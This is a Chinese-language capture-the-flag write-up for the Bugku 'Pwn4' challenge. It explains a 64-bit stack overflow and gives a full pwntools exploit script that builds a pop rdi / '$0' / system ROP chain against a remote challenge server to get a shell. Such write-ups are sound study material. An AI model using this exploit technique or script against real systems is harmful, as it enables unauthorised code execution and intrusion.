Pwn4 - Bugku
程序基本情况
程序为64位,保护全关
代码审计
在main()
函数中的read
造成了栈溢出
IDAshift + F12
检查有没有可疑字符串,同时检查有没有特殊函数如getshell()
在sub_400751()
里面出现了调用system()
思路
main()
函数存在栈溢出,可调用system()
getshell,但是缺少一个参数/bin/sh
。在字符串查找中发现$0
。
补充知识
$0
在linux中为shell或shell脚本的名称
system()会调用fork()产生子进程,由子进程来调用/bin/sh -c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。
所以如果将$0作为system的参数,能达到传入’/bin/sh’一样的效果。
最后需要解决的问题是怎么传参给system()
。
64位的寄存器传参与32位的不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参。64位传参寄存器分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候),我们讲 $0的地址存入rdi寄存器(用于第一个参数)中,然后通过rdi寄存器传参,那么我们要知道 $0的地址,rdi的地址以及system函数的地址。
我们利用ROPgadget
工具进行查找,得到pop rdi ; ret
和$0
的地址,system
的地址直接在IDA中查看
首先先填充缓冲区,大小为0x10
,然后覆盖rbp
,8个字节,传入pop rdi;ret
的地址和$0
,将栈中$0
的地址弹出,存入rdi
作为参数,在传入system
地址进行调用。
脚本
from pwn import *
context.log_level = 'debug'
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3
bin_sh = 0x000000000060111f
system = 0x0000000000400570
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()
system这里填入的是plt表中的地址也就是IDA中的_system,存在的问题是本地调试不能成功getshell,但是在服务器端成功getshell,原因不明,麻烦大佬指点(感谢状.jpg)
如果想本地和远程都能成功运行,请将system赋值为0x40075A,也就是sub_400751中的call _system地址